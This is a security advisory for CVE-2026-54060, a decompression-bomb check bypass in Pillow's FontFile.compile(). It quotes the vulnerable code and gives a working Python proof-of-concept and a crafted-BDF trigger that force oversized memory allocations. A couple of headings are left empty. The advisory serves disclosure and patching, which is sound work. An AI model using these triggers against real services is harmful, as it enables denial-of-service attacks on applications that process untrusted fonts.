CVE-2026-54060

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation, and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height, attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack, per-glyph dimensions stay BELOW warning threshold:

With PCF-maximum glyph height (65,535):

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px, below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise, unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)), no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0, compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

# Load a crafted BDF font with 256 glyphs each claiming height=65535
# (each glyph individually: 800 × 65535 = 52.4M px, below 89.4M warning)
# compile() combined: 800 × 16,776,960 = 13.4B px, 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios: